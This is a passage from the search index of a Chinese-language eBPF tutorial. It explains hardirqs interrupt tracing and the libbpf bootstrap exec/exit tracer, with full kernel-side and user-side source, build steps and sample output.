的eBPF程序具有*_kern.c和*_user.c两个文件，*_kern.c中书写在内核中的挂载点以及处理函数，*_user.c中书写用户态代码，完成内核态代码注入以及与用户交互的各种任务。 更为详细的教程可以参考 该视频 然而由于该方法仍然较难理解且入门存在一定的难度，因此现阶段的eBPF程序开发大多基于一些工具，比如： BCC BPFtrace libbpf-bootstrap Go eBPF library 以及还有比较新的工具，例如 eunomia-bpf.","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 3. 如何使用eBPF编程","id":"6","title":"3. 如何使用eBPF编程"},"60":{"body":"hardirqs 程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include <vmlinux.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); __uint(max_entries, 1); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct irq_key); __type(value, struct info);\n} infos SEC(\".maps\"); static struct info zero; static int handle_entry(int irq, struct irqaction *action)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (do_count) { struct irq_key key = {}; struct info *info; bpf_probe_read_kernel_str(&key.name, sizeof(key.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &key, &zero); if (!info) return 0; info->count += 1; return 0; } else { u64 ts = bpf_ktime_get_ns(); u32 key = 0; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; bpf_map_update_elem(&start, &key, &ts, BPF_ANY); return 0; }\n} static int handle_exit(int irq, struct irqaction *action)\n{ struct irq_key ikey = {}; struct info *info; u32 key = 0; u64 delta; u64 *tsp; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; tsp = bpf_map_lookup_elem(&start, &key); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (!targ_ns) delta /= 1000U; bpf_probe_read_kernel_str(&ikey.name, sizeof(ikey.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &ikey, &zero); if (!info) return 0; if (!targ_dist) { info->count += delta; } else { u64 slot; slot = log2(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; info->slots[slot]++; } return 0;\n} SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码是一个 eBPF 程序，用于捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 包含必要的头文件和定义数据结构： #include <vmlinux.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" 该程序包含了 eBPF 开发所需的标准头文件，以及用于定义数据结构和映射的自定义头文件。 定义全局变量和映射： #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; ... 该程序定义了一些全局变量，用于配置程序的行为。例如，filter_cg 控制是否过滤 cgroup，targ_dist 控制是否显示执行时间的分布等。此外，程序还定义了三个映射，分别用于存储 cgroup 信息、开始时间戳和中断处理程序的信息。 定义两个辅助函数 handle_entry 和 handle_exit： 这两个函数分别在中断处理程序的入口和出口处被调用。handle_entry 记录开始时间戳或更新中断计数，handle_exit 计算中断处理程序的执行时间，并将结果存储到相应的信息映射中。 定义 eBPF 程序的入口点： SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} 这里定义了四个 eBPF 程序入口点，分别用于捕获中断处理程序的入口和出口事件。tp_btf 和 raw_tp 分别代表使用 BPF Type Format（BTF）和原始 tracepoints 捕获事件。这样可以确保程序在不同内核版本上可以移植和运行。 Softirq 代码也类似，这里就不再赘述了。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 代码实现","id":"60","title":"hardirqs 代码实现"},"61":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 要编译这个程序，请使用 ecc 工具： $ ecc hardirqs.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run ./package.json","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 运行代码","id":"61","title":"运行代码"},"62":{"body":"在本章节（eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件）中，我们学习了如何使用 eBPF 程序捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。我们详细讲解了示例代码，包括如何定义数据结构、映射以及 eBPF 程序入口点，以及如何在中断处理程序的入口和出口处调用辅助函数来记录执行信息。 通过学习本章节内容，您应该已经掌握了如何在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件的方法，以及如何分析这些事件以识别内核中的性能问题和其他与中断处理相关的问题。这些技能对于分析和优化 Linux 内核的性能至关重要。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 总结","id":"62","title":"总结"},"63":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 在本教程中，我们将了解内核态和用户态的 eBPF 程序是如何协同工作的。我们还将学习如何使用原生的 libbpf 开发用户态程序，将 eBPF 应用打包为可执行文件，实现跨内核版本分发。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用","id":"63","title":"eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用"},"64":{"body":"libbpf 是一个 C 语言库，伴随内核版本分发，用于辅助 eBPF 程序的加载和运行。它提供了用于与 eBPF 系统交互的一组 C API，使开发者能够更轻松地编写用户态程序来加载和管理 eBPF 程序。这些用户态程序通常用于分析、监控或优化系统性能。 使用 libbpf 库有以下优势： 它简化了 eBPF 程序的加载、更新和运行过程。 它提供了一组易于使用的 API，使开发者能够专注于编写核心逻辑，而不是处理底层细节。 它能够确保与内核中的 eBPF 子系统的兼容性，降低了维护成本。 同时，libbpf 和 BTF（BPF Type Format）都是 eBPF 生态系统的重要组成部分。它们各自在实现跨内核版本兼容方面发挥着关键作用。BTF（BPF Type Format）是一种元数据格式，用于描述 eBPF 程序中的类型信息。BTF 的主要目的是提供一种结构化的方式，以描述内核中的数据结构，以便 eBPF 程序可以更轻松地访问和操作它们。 BTF 在实现跨内核版本兼容方面的关键作用如下： BTF 允许 eBPF 程序访问内核数据结构的详细类型信息，而无需对特定内核版本进行硬编码。这使得 eBPF 程序可以适应不同版本的内核，从而实现跨内核版本兼容。 通过使用 BPF CO-RE（Compile Once, Run Everywhere）技术，eBPF 程序可以利用 BTF 在编译时解析内核数据结构的类型信息，进而生成可以在不同内核版本上运行的 eBPF 程序。 结合 libbpf 和 BTF，eBPF 程序可以在各种不同版本的内核上运行，而无需为每个内核版本单独编译。这极大地提高了 eBPF 生态系统的可移植性和兼容性，降低了开发和维护的难度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » libbpf 库，以及为什么需要使用它","id":"64","title":"libbpf 库，以及为什么需要使用它"},"65":{"body":"Bootstrap 是一个使用 libbpf 的完整应用，它利用 eBPF 程序来跟踪内核中的 exec() 系统调用（通过 SEC(\"tp/sched/sched_process_exec\") handle_exec BPF 程序），这主要对应于新进程的创建（不包括 fork() 部分）。此外，它还跟踪进程的 exit() 系统调用（通过 SEC(\"tp/sched/sched_process_exit\") handle_exit BPF 程序），以了解每个进程何时退出。 这两个 BPF 程序共同工作，允许捕获关于新进程的有趣信息，例如二进制文件的文件名，以及测量进程的生命周期，并在进程结束时收集有趣的统计信息，例如退出代码或消耗的资源量等。这是深入了解内核内部并观察事物如何真正运作的良好起点。 Bootstrap 还使用 argp API（libc 的一部分）进行命令行参数解析，使得用户可以通过命令行选项配置应用行为。这种方式提供了灵活性，让用户能够根据实际需求自定义程序行为。虽然这些功能使用 eunomia-bpf 工具也可以实现，但是这里我们使用 libbpf 可以在用户态提供更高的可扩展性，不过也带来了不少额外的复杂度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 什么是 bootstrap","id":"65","title":"什么是 bootstrap"},"66":{"body":"Bootstrap 分为两个部分：内核态和用户态。内核态部分是一个 eBPF 程序，它跟踪 exec() 和 exit() 系统调用。用户态部分是一个 C 语言程序，它使用 libbpf 库来加载和运行内核态程序，并处理从内核态程序收集的数据。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » Bootstrap","id":"66","title":"Bootstrap"},"67":{"body":"// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause\n/* Copyright (c) 2020 Facebook */\n#include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ struct task_struct *task; unsigned fname_off; struct event *e; pid_t pid; u64 ts; /* remember time exec() was executed for this PID */ pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); /* don't emit exec events when minimum duration is specified */ if (min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); /* successfully submit it to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, duration_ns = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* if we recorded start of the process, calculate lifetime duration */ start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); /* if process didn't live long enough, return early */ if (min_duration_ns && duration_ns < min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码是一个内核态 eBPF 程序（bootstrap.bpf.c），主要用于跟踪 exec() 和 exit() 系统调用。它通过 eBPF 程序捕获进程的创建和退出事件，并将相关信息发送到用户态程序进行处理。下面是对代码的详细解释。 首先，我们引入所需的头文件，定义 eBPF 程序的许可证以及两个 eBPF maps：exec_start 和 rb。exec_start 是一个哈希类型的 eBPF map，用于存储进程开始执行时的时间戳。rb 是一个环形缓冲区类型的 eBPF map，用于存储捕获的事件数据，并将其发送到用户态程序。 #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; 接下来，我们定义了一个名为 handle_exec 的 eBPF 程序，它会在进程执行 exec() 系统调用时触发。首先，我们从当前进程中获取 PID，记录进程开始执行的时间戳，然后将其存储在 exec_start map 中。 SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ // ... pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); // ...\n} 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名等。之后，我们将这些数据发送到用户态程序进行处理。 // reserve sample from BPF ringbuf e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; // fill out the sample with data task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); // successfully submit it to user-space for post-processing bpf_ringbuf_submit(e, 0); return 0; 最后，我们定义了一个名为 handle_exit 的 eBPF 程序，它会在进程执行 exit() 系统调用时触发。首先，我们从当前进程中获取 PID 和 TID（线程 ID）。如果 PID 和 TID 不相等，说明这是一个线程退出，我们将忽略此事件。 SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ // ... id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; // ...\n} 接着，我们查找之前存储在 exec_start map 中的进程开始执行的时间戳。如果找到了时间戳，我们将计算进程的生命周期（持续时间），然后从 exec_start map 中删除该记录。如果未找到时间戳且指定了最小持续时间，则直接返回。 // if we recorded start of the process, calculate lifetime duration start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); // if process didn't live long enough, return early if (min_duration_ns && duration_ns < min_duration_ns) return 0; 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名、进程持续时间等。最后，我们将这些数据发送到用户态程序进行处理。 /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这样，当进程执行 exec() 或 exit() 系统调用时，我们的 eBPF 程序会捕获相应的事件，并将详细信息发送到用户态程序进行后续处理。这使得我们可以轻松地监控进程的创建和退出，并获取有关进程的详细信息。 除此之外，在 bootstrap.h 中，我们还定义了和用户态交互的数据结构： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2020 Facebook */\n#ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN]; char filename[MAX_FILENAME_LEN]; bool exit_event;\n}; #endif /* __BOOTSTRAP_H */","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 内核态 eBPF 程序 bootstrap.bpf.c","id":"67","title":"内核态 eBPF 程序 bootstrap.bpf.c"},"68":{"body":"// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n/* Copyright (c) 2020 Facebook */\n#include <argp.h>\n#include <signal.h>\n#include <stdio.h>\n#include <time.h>\n#include <sys/resource.h>\n#include <bpf/libbpf.h>\n#include \"bootstrap.h\"\n#include \"bootstrap.skel.h\" static struct env { bool verbose; long min_duration_ms;\n} env; const char *argp_program_version = \"bootstrap 0.0\";\nconst char *argp_program_bug_address = \"<bpf@vger.kernel.org>\";\nconst char argp_program_doc[] =\n\"BPF bootstrap demo application.\\n\"\n\"\\n\"\n\"It traces process start and exits and shows associated \\n\"\n\"information (filename, process duration, PID and PPID, etc).\\n\"\n\"\\n\"\n\"USAGE: ./bootstrap [-d <min-duration-ms>] [-v]\\n\"; static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ switch (key) { case 'v': env.verbose = true; break; case 'd': errno = 0; env.min_duration_ms = strtol(arg, NULL, 10); if (errno || env.min_duration_ms <= 0) { fprintf(stderr, \"Invalid duration: %s\\n\", arg); argp_usage(state); } break; case ARGP_KEY_ARG: argp_usage(state); break; default: return ARGP_ERR_UNKNOWN; } return 0;\n} static const struct argp argp = { .options = opts, .parser = parse_arg, .doc = argp_program_doc,\n}; static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)\n{ if (level == LIBBPF_DEBUG && !env.verbose) return 0; return vfprintf(stderr, format, args);\n} static volatile bool exiting = false; static void sig_handler(int sig)\n{ exiting = true;\n} static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; struct tm *tm; char ts[32]; time_t t; time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); if (e->exit_event) { printf(\"%-8s %-5s %-16s %-7d %-7d [%u]\", ts, \"EXIT\", e->comm, e->pid, e->ppid, e->exit_code); if (e->duration_ns) printf(\" (%llums)\", e->duration_ns / 1000000); printf(\"\\n\"); } else { printf(\"%-8s %-5s %-16s %-7d %-7d %s\\n\", ts, \"EXEC\", e->comm, e->pid, e->ppid, e->filename); } return 0;\n} int main(int argc, char **argv)\n{ struct ring_buffer *rb = NULL; struct bootstrap_bpf *skel; int err; /* Parse command line arguments */ err = argp_parse(&argp, argc, argv, 0, NULL, NULL); if (err) return err; /* Set up libbpf errors and debug info callback */ libbpf_set_print(libbpf_print_fn); /* Cleaner handling of Ctrl-C */ signal(SIGINT, sig_handler); signal(SIGTERM, sig_handler); /* Load and verify BPF application */ skel = bootstrap_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1; } /* Parameterize BPF code with minimum duration parameter */ skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; /* Load & verify BPF programs */ err = bootstrap_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } /* Attach tracepoints */ err = bootstrap_bpf__attach(skel); if (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup; } /* Set up ring buffer polling */ rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); if (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup; } /* Process events */ printf(\"%-8s %-5s %-16s %-7s %-7s %s\\n\", \"TIME\", \"EVENT\", \"COMM\", \"PID\", \"PPID\", \"FILENAME/EXIT CODE\"); while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; } } cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n} 这个用户态程序主要用于加载、验证、附加 eBPF 程序，以及接收 eBPF 程序收集的事件数据，并将其打印出来。我们将分析一些关键部分。 首先，我们定义了一个 env 结构，用于存储命令行参数： static struct env { bool verbose; long min_duration_ms;\n} env; 接下来，我们使用 argp 库来解析命令行参数： static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ // ...\n} static const struct argp argp = { .options = opts, .parser = parse_arg, .doc = argp_program_doc,\n}; main() 函数中，首先解析命令行参数，然后设置 libbpf 的打印回调函数 libbpf_print_fn，以便在需要时输出调试信息： err = argp_parse(&argp, argc, argv, 0, NULL, NULL);\nif (err) return err; libbpf_set_print(libbpf_print_fn); 接下来，我们打开 eBPF 脚手架（skeleton）文件，将最小持续时间参数传递给 eBPF 程序，并加载和附加 eBPF 程序： skel = bootstrap_bpf__open();\nif (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1;\n} skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; err = bootstrap_bpf__load(skel);\nif (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup;\n} err = bootstrap_bpf__attach(skel);\nif (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup;\n} 然后，我们创建一个环形缓冲区（ring buffer），用于接收 eBPF 程序发送的事件数据： rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL);\nif (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup;\n} handle_event() 函数会处理从 eBPF 程序收到的事件。根据事件类型（进程执行或退出），它会提取并打印事件信息，如时间戳、进程名、进程 ID、父进程 ID、文件名或退出代码等。 最后，我们使用 ring_buffer__poll() 函数轮询环形缓冲区，处理收到的事件数据： while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); // ...\n} 当程序收到 SIGINT 或 SIGTERM 信号时，它会最后完成清理、退出操作，关闭和卸载 eBPF 程序： cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n}","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 用户态，bootstrap.c","id":"68","title":"用户态，bootstrap.c"},"69":{"body":"构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 在 Ubuntu/Debian 上，你需要执行以下命令： sudo apt install clang libelf1 libelf-dev zlib1g-dev 在 CentOS/Fedora 上，你需要执行以下命令： sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 安装依赖","id":"69","title":"安装依赖"},"7":{"body":"eBPF 程序由内核态部分和用户态部分构成。内核态部分包含程序的实际逻辑，用户态部分负责加载和管理内核态部分。使用 eunomia-bpf 开发工具，只需编写内核态部分的代码。 内核态部分的代码需要符合 eBPF 的语法和指令集。eBPF 程序主要由若干个函数组成，每个函数都有其特定的作用。可以使用的函数类型包括： kprobe：插探函数，在指定的内核函数前或后执行。 tracepoint：跟踪点函数，在指定的内核跟踪点处执行。 raw_tracepoint：原始跟踪点函数，在指定的内核原始跟踪点处执行。 xdp：网络数据处理函数，拦截和处理网络数据包。 perf_event：性能事件函数，用于处理内核性能事件。 kretprobe：函数返回插探函数，在指定的内核函数返回时执行。 tracepoint_return：跟踪点函数返回，在指定的内核跟踪点返回时执行。 raw_tracepoint_return：原始跟踪点函数返回，在指定的内核原始跟踪","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 编写 eBPF 程序","id":"7","title":"编写 eBPF 程序"},"70":{"body":"编译运行上述代码： $ make BPF .output/bootstrap.bpf.o GEN-SKEL .output/bootstrap.skel.h CC .output/bootstrap.o BINARY bootstrap\n$ sudo ./bootstrap [sudo] password for yunwei: TIME EVENT COMM PID PPID FILENAME/EXIT CODE\n03:16:41 EXEC sh 110688 80168 /bin/sh\n03:16:41 EXEC which 110689 110688 /usr/bin/which\n03:16:41 EXIT which 110689 110688 [0] (0ms)\n03:16:41 EXIT sh 110688 80168 [0] (0ms)\n03:16:41 EXEC sh 110690 80168 /bin/sh\n03:16:41 EXEC ps 110691 110690 /usr/bin/ps\n03:16:41 EXIT ps 110691 110690 [0] (49ms)\n03:16:41 EXIT sh 110690 80168 [0] (51ms)","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 编译运行","id":"70","title":"编译运行"},"71":{"body":"通过这个实例，我们了解了如何将 eBPF 程序与用户态程序结合使用。这种结合为开发者提供了一个强大的工具集，可以实现跨内核和用户空间的高效数据收集和处理。通过使用 eBPF 和 libbpf，您可以构建更高效、可扩展和安全的监控和性能分析工具。 在接下来的教程中，我们将继续深入探讨 eBPF 的高级特性，分享更多关于 eBPF 开发实践的内容。通过不断学习和实践，您将更好地理解和掌握 eBPF 技术，并将其应用于解决实际问题。 如果您希望学习更多关于 eBPF 的知识和实践，请查阅 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 总结","id":"71","title":"总结"},"72":{"body":"eBPF (Extended Berkeley Packet Filter) 是一项强大的网络和性能分析工具，被应用在 Linux 内核上。eBPF 允许开发者动态加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 本文是 eBPF 入门开发实践教程的第十三篇，主要介绍如何使用 eBPF 统计 TCP 连接延时，并使用 libbpf 在用户态处理数据。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据","id":"72","title":"eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据"},"73":{"body":"在进行后端开发时，不论使用何种编程语言，我们都常常需要调用 MySQL、Redis 等数据库，或执行一些 RPC 远程调用，或者调用其他的 RESTful API。这些调用的底层，通常都是基于 TCP 协议进行的。原因是 TCP 协议具有可靠连接、错误重传、拥塞控制等优点，因此在网络传输层协议中，TCP 的应用广泛程度超过了 UDP。然而，TCP 也有一些缺点，如建立连接的延时较长。因此，也出现了一些替代方案，例如 QUIC（Quick UDP Internet Connections，快速 UDP 网络连接）。 分析 TCP 连接延时对网络性能分析、优化以及故障排查都非常有用。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 背景","id":"73","title":"背景"},"74":{"body":"tcpconnlat 这个工具能够跟踪内核中执行活动 TCP 连接的函数（如通过 connect() 系统调用），并测量并显示连接延时，即从发送 SYN 